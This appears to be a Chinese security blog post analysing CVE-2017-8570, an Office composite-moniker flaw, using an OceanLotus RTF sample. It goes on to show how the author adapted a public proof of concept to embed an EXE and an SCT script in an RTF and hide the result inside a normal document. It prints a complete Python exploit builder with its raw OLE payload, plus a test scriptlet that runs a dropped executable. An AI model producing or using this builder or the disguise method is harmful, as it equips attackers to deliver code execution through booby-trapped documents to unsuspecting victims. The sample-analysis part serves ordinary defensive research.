CVE-2017-8570及利用样本分析

发布者:Gcow安全团队
发布于:2020-08-07 20:27

CVE-2017-8570及利用样本分析

注意事项:
1.本文由Gcow安全团队复眼小组的ERFZE师傅原创,未经许可禁止转载
2.本文一共1100多字,13张图,预计阅读时间8分钟
3.文中提及的方法仅供参考学习,若用在实际情况而造成的损失,本团队以及本公众号概不负责
4.本篇文章的漏洞原理不是重点,主要在于利用.所以再本篇文章中提到的漏洞原理的篇幅较少
5.若本篇文章中存在说得有错误或者模糊的环节,希望各位看官可以在后台留言或者评论指出,本小组不胜感激!

0x01 漏洞概述:

CVE-2017-8570实际上是一逻辑漏洞,该漏洞利用了OLEComposite Moniker对象在组合File Moniker对象的过程中,未做安全性检查,以致可以直接运行File Moniker对象指定的ScriptletFile(.sct)脚本文件。

0x02 样本分析:

以海莲花组织某样本作为示例。

MD5:72bebba3542bd86dc68a36fda5dbae76

 

使用rtfdump工具-f O选项过滤RTF文档中的OLE对象:

 

图片1 rtfdump

 

之后结合rtfobj分析结果判断其.sct脚本文件位于第213号对象中:

 

图片2 rtfobj

 

通过-s 213 -H进行验证:

 

图片3 sct脚本文件

 

之后使用输出重定向将结果保存到一文本文件中:

 

图片4 保存输出结果

 

最后由awk命令结合正则表达式将其中的脚本内容提取出来:

 

图片5 提取脚本内容

 

注:此时可以使用Notepad++或者Sublime对脚本内容进行排版处理,以便阅读:

 

图片6 排版后

 

其功能为执行释放到临时目录下的VBS脚本文件。

0x03 样本构造:

部分样本是将EXE文件以Package对象的形式包含在RTF文档内:

 

图片7 EXE

 

之后通过SCT脚本去执行该EXE

 

图片8 SCT脚本

 

笔者针对此情况对原有POC进行了改造(完整内容见文末):

 

图片9 修改一

 

图片10 修改二

 

图片11 修改三

 

如此一来,便可将EXE文件以Package对象的形式嵌入到RTF文档中。

 

生成的RTF文档可以添加到正常RTF文档末尾}之前以进行伪装:

 

图片12 伪装

 

笔者用以测试的SCT脚本如下:

<?XML version="1.0"?>
<scriptlet>

<registration
    description="fjzmpcjvqp"
    progid="fjzmpcjvqp"
    version="1.00"
    classid="{204774CF-D251-4F02-855B-2BE70585184B}"
    remotable="true"
    >
</registration>

<script language="JScript">
<![CDATA[

        var r = new ActiveXObject("WScript.Shell").Run("%temp%\\write.exe");


]]>
</script>

</scriptlet>

其中write.exeC:\Windows\System32目录下的正常写字板程序。效果如图:

 

图片13 效果图

0x04 POC:

import argparse
import os
import struct
import random
import string

class Package(object):
    """
    Packager spec based on:
    f6aK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6H3K9r3W2K6K9r3#2W2i4K6u0W2j5$3!0E0i4K6u0r3M7Y4c8X3i4K6u0V1L8h3q4D9N6$3q4J5k6g2)9J5k6r3c8W2L8r3W2$3k6i4u0&6i4K6u0r3

    Dropping method by Haifei Li: 
    9d4K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6K6k6h3y4#2M7X3W2F1k6%4c8G2L8h3!0J5M7X3!0%4i4K6u0W2L8h3y4S2k6X3g2W2i4K6u0W2j5$3!0E0i4K6u0r3L8h3y4S2k6X3g2W2i4K6u0V1L8r3q4T1M7#2)9J5c8X3c8J5L8%4m8H3K9h3&6Y4i4K6u0V1k6X3W2D9k6i4y4Q4x3X3c8@1k6h3#2H3i4K6u0V1k6X3!0D9k6r3g2J5i4K6u0V1M7X3q4A6M7$3g2K6i4K6u0V1M7$3g2U0N6i4u0A6N6s2W2Q4x3X3c8U0L8$3&6U0k6i4u0F1M7#2)9J5c8R3`.`.

    Found being used itw by @MalwareParty:
    9c9K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6@1N6$3W2@1N6r3g2J5i4K6u0W2j5$3!0E0i4K6u0r3e0h3q4D9N6$3q4J5k6g2m8S2M7Y4c8&6i4K6u0r3M7%4c8S2N6s2g2K6i4K6u0r3z5e0b7K6z5o6j5I4x3o6t1I4x3U0j5H3z5o6j5I4y4o6b7H3
    """
    def __init__(self, filename,rand):
        if rand == True:
            self.filename = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(15)) + ".sct"
        else:
            self.filename = filename
        self.fakepath = 'C:\\fakepath\\{}'.format(self.filename)

        self.orgpath = self.fakepath
        self.datapath = self.fakepath

        with open(filename,'rb') as f:
            self.data = f.read()

        self.OBJ_HEAD = r"{\object\objemb\objw1\objh1{\*\objclass Package}{\*\objdata "
        self.OBJ_TAIL = r"0105000000000000}}"

    def get_object_header(self):
        OLEVersion = '01050000'
        FormatID = '02000000'
        ClassName = 'Package'
        szClassName = struct.pack("<I", len(ClassName) + 1).encode('hex')
        szPackageData = struct.pack("<I", len(self.get_package_data())/2).encode('hex')

        return ''.join([
            OLEVersion,
            FormatID,
            szClassName,
            ClassName.encode('hex') + '00',
            '00000000',
            '00000000',
            szPackageData,
        ])

    def get_package_data(self):  
        StreamHeader = '0200'
        Label = self.filename.encode('hex') + '00'
        OrgPath = self.orgpath.encode('hex') + '00'
        UType = '00000300'
        DataPath = self.datapath.encode('hex') + '00'
        DataPathLen = struct.pack("<I", len(self.datapath)+1).encode('hex')
        DataLen = struct.pack("<I", len(self.data)).encode('hex')
        Data = self.data.encode('hex')
        OrgPathWLen = struct.pack("<I", len(self.datapath)).encode('hex')
        OrgPathW = self.datapath.encode('utf-16le').encode('hex')
        LabelLen = struct.pack("<I", len(self.filename)).encode('hex')
        LabelW = self.filename.encode('utf-16le').encode('hex')
        DefPathWLen = struct.pack("<I", len(self.orgpath)).encode('hex')
        DefPathW = self.orgpath.encode('utf-16le').encode('hex')

        return ''.join([
            StreamHeader,
            Label,
            OrgPath,
            UType,
            DataPathLen,
            DataPath,
            DataLen,
            Data,
            OrgPathWLen,
            OrgPathW,
            LabelLen,
            LabelW,
            DefPathWLen,
            DefPathW,
        ])

    def build_package(self):
        return self.OBJ_HEAD + self.get_object_header() + self.get_package_data() + self.OBJ_TAIL

# Bypassing CVE-2017-0199 patch with Composite Moniker: 036K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6B7N6i4y4@1K9r3q4A6k6X3g2A6x3g2)9J5k6h3u0D9L8$3N6K6M7r3!0@1i4K6u0W2j5$3!0Q4x3X3g2#2K9#2)9J5c8U0t1H3x3e0N6Q4x3V1j5H3y4#2)9J5c8X3u0&6M7r3q4K6M7$3W2F1k6#2)9J5k6r3#2A6j5%4u0G2M7$3!0X3N6s2y4Q4x3X3c8U0N6X3g2Q4x3X3b7J5x3o6p5%4i4K6u0V1x3o6p5&6z5g2)9J5k6s2m8S2N6r3y4Z5i4K6u0W2K9s2c8E0L8l9`.`.
EXPLOIT_RTF = r"""{{\rt{0}{1}{{\object\objautlink\objupdate{{\*\objclass Word.Document.8}}{{\*\objdata 0105000002000000090000004F4C45324C696E6B000000000000000000000A0000D0CF11E0A1B11AE1000000000000000000000000000000003E000300FEFF0900060000000000000000000000010000000100000000000000001000000200000001000000FEFFFFFF0000000000000000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDFFFFFFFEFFFFFFFEFFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF52006F006F007400200045006E00740072007900000000000000000000000000000000000000000000000000000000000000000000000000000000000000000016000500FFFFFFFFFFFFFFFF020000000003000000000000C000000000000046000000000000000000000000704D6CA637B5D20103000000000200000000000001004F006C00650000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000A000200FFFFFFFFFFFFFFFFFFFFFFFF00000000000000000000000000000000000000000000000000000000000000000000000000000000100100000000000003004F0062006A0049006E0066006F00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000120002010100000003000000FFFFFFFF00000000000000000000000000000000000000000000000000000000000000000000000004000000060000000000000003004C0069006E006B0049006E0066006F000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000014000200FFFFFFFFFFFFFFFFFFFFFFFF00000000000000000000000000000000000000000000000000000000000000000000000005000000B700000000000000010000000200000003000000FEFFFFFFFEFFFFFF0600000007000000FEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF010000020900000001000000000000000000000000000000C00000000903000000000000C000000000000046020000000303000000000000C00000000000004600001A00000025544D50255C{2}000E00ADDE000000000000000000000000000000000000000038000000320000000300250054004D00500025005C00{3}C6AFABEC197FD211978E0000F8757E2A000000000000000000000000000000000000000000000000FFFFFFFF0609020000000000C00000000000004600000000FFFFFFFF0000000000000000906660A637B5D201000000000000000000000000000000000000000000000000100203000D00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000105000000000000}}}}}}"""


def build_exploit(sct,exe):
    sct_p = Package(sct,rand=True)
    sct_package = sct_p.build_package()
    exe_p = Package(exe,rand=False)
    exe_package = exe_p.build_package()
    return EXPLOIT_RTF.format(exe_package,sct_package, sct_p.filename.encode('hex'), sct_p.filename.encode('utf-16le').encode('hex'))


if __name__ == '__main__':
    parser = argparse.ArgumentParser(description="PoC exploit for CVE-2017-8750 (a.k.a. \"composite moniker\") using Packager.dll file drop method")
    parser.add_argument("-s", "--sct", help="Sct file to execute", required=True)
    parser.add_argument("-e", "--exe", help="Exe file", required=True)
    parser.add_argument('-o', "--output", help="Output file for RTF", required=True)

    args = parser.parse_args()

    with open(args.output, 'w') as f:
        f.write(build_exploit(args.sct,args.exe))    
    print "[+] RTF file written to: {}".format(args.output)

0x05 参考链接:

  • 需要用于多行搜索的正则表达式(grep)(c4fK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4N6%4N6Q4x3X3g2A6N6q4)9J5k6s2y4%4j5i4u0E0i4K6u0W2k6r3g2$3i4K6u0r3P5X3S2Q4x3V1k6J5k6h3N6W2P5q4)9J5c8W2)9J5y4f1f1&6i4K6t1#2z5f1y4Q4x3U0f1^5x3q4)9J5y4f1f1^5i4K6t1#2b7e0k6Q4x3U0f1^5x3g2)9J5y4f1f1%4i4K6t1#2z5e0c8Q4x3U0g2m8z5q4)9J5y4f1f1@1i4K6t1#2b7V1q4Q4x3U0f1^5c8g2)9J5y4f1f1#2i4K6t1#2b7e0c8Q4x3U0f1&6b7g2)9J5y4f1f1^5i4K6t1#2b7e0q4Q4x3U0f1^5b7#2)9J5y4f1f1$3i4K6t1#2z5e0m8Q4x3U0f1&6b7#2)9J5y4f1f1%4i4K6t1#2b7U0c8Q4x3U0g2m8x3W2)9J5y4f1f1%4i4K6t1#2z5f1q4Q4x3U0f1^5y4q4)9J5y4f1f1$3i4K6t1#2b7f1c8Q4x3U0g2m8x3#2)9J5y4f1f1#2i4K6t1#2z5o6S2Q4x3U0f1&6z5g2)9J5y4f1f1^5i4K6t1#2b7e0q4Q4x3U0g2m8z5q4)9J5y4f1f1^5i4K6t1#2b7V1g2Q4x3U0g2n7c8g2)9J5y4f1f1#2i4K6t1#2b7V1y4Q4x3U0f1^5c8W2)9J5y4f1g2r3i4K6t1#2b7V1y4Q4x3U0f1^5z5r3N6J5k6i4m8Q4x3U0g2q4c8W2)9J5y4f1u0o6i4K6t1#2z5o6W2Q4x3V1j5&6y4K6l9&6z5e0b7J5x3o6S2Q4x3V1k6Q4x3U0V1`.

  • CVE-2017-8570首次公开的野外样本及漏洞分析(d32K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6H3j5i4m8W2M7W2)9J5k6i4y4W2k6h3u0#2k6#2)9J5k6h3!0J5k6#2)9J5c8U0f1J5x3q4)9J5z5b7`.`.

  • Analysis of a CVE-2017-0199 Malicious RTF Document(eb1K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6T1L8r3!0Y4i4K6u0W2L8Y4k6A6M7$3!0Q4x3X3g2W2N6g2)9J5c8U0t1H3x3e0N6Q4x3V1j5H3y4q4)9J5c8U0p5J5i4K6u0r3j5h3&6S2L8s2W2K6K9i4y4Q4x3X3c8G2k6W2)9J5k6r3q4Q4x3X3c8U0N6X3g2Q4x3X3b7J5x3o6p5%4i4K6u0V1x3o6p5&6z5g2)9J5k6r3#2S2L8r3W2U0K9h3!0#2M7#2)9J5k6s2u0@1k6W2)9J5k6r3c8G2j5%4g2E0k6h3&6@1i4K6u0r3i4K6t1&6

  • CVE-2017-8570(f13K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6J5P5s2N6^5i4K6u0r3b7#2k6q4i4K6u0V1x3U0l9I4y4#2)9J5k6o6R3#2y4K6m8Q4x3U0V1`.


声明:该文观点仅代表作者本人,转载请注明来自看雪